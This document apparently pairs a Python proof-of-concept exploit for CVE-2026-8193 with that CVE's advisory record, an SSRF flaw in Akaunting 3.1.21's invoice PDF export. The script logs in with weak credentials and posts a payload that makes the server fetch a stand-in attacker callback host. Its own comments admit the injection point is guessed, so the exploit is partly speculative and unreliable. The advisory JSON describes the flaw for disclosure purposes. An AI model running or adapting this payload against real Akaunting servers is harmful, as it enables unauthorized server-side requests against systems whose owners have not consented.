CVE-2026-8193

import requests # Target configuration target_url = "http://vulnerable-akaunting-instance.com" login_endpoint = f"{target_url}/login" invoice_export_endpoint = f"{target_url}/invoices/export/pdf" # Attacker controlled server for SSRF callback attacker_callback_url = "http://attacker-server.com/capture" # Credentials (Low privilege required) credentials = { "email": "[email protected]", "password": "password" } # Start a session to maintain authentication session = requests.Session() # 1. Login to get session cookie login_response = session.post(login_endpoint, data=credentials) if login_response.status_code != 200: print("Login failed") exit() # 2. Exploit the vulnerability # The vulnerability is in the PDF rendering component processing config/dompdf.php # We inject a malicious URL that the server will fetch via SSRF # This payload simulates manipulating the options passed to the PDF generator payload_data = { # Injecting the SSRF payload into a parameter that influences PDF rendering # Depending on the exact implementation, this might be a custom header or form field "options[base_path]": attacker_callback_url, "html_content": f"<img src='{attacker_callback_url}/ssrf_test.png'>" } try: print(f"Sending exploit payload to {invoice_export_endpoint}...") response = session.post(invoice_export_endpoint, data=payload_data) if response.status_code == 200: print("Request sent successfully.") print("Check your callback server for incoming connections from the target.") else: print(f"Exploit request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-8193", "sourceIdentifier": "[email protected]", "published": "2026-05-09T19:16:10.290", "lastModified": "2026-05-11T15:11:48.807", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Akaunting 3.1.21. This issue affects some unknown processing of the file config/dompdf.php of the component Invoice PDF Rendering. Executing a manipulation can lead to server-side request forgery. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://drive.google.com/file/d/1zC8gMYeIfZi3CsK6RXBQINU_mllXH_6n/view?usp=drive_link", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/800984", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362345", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362345/cti", "source": "[email protected]"}]}}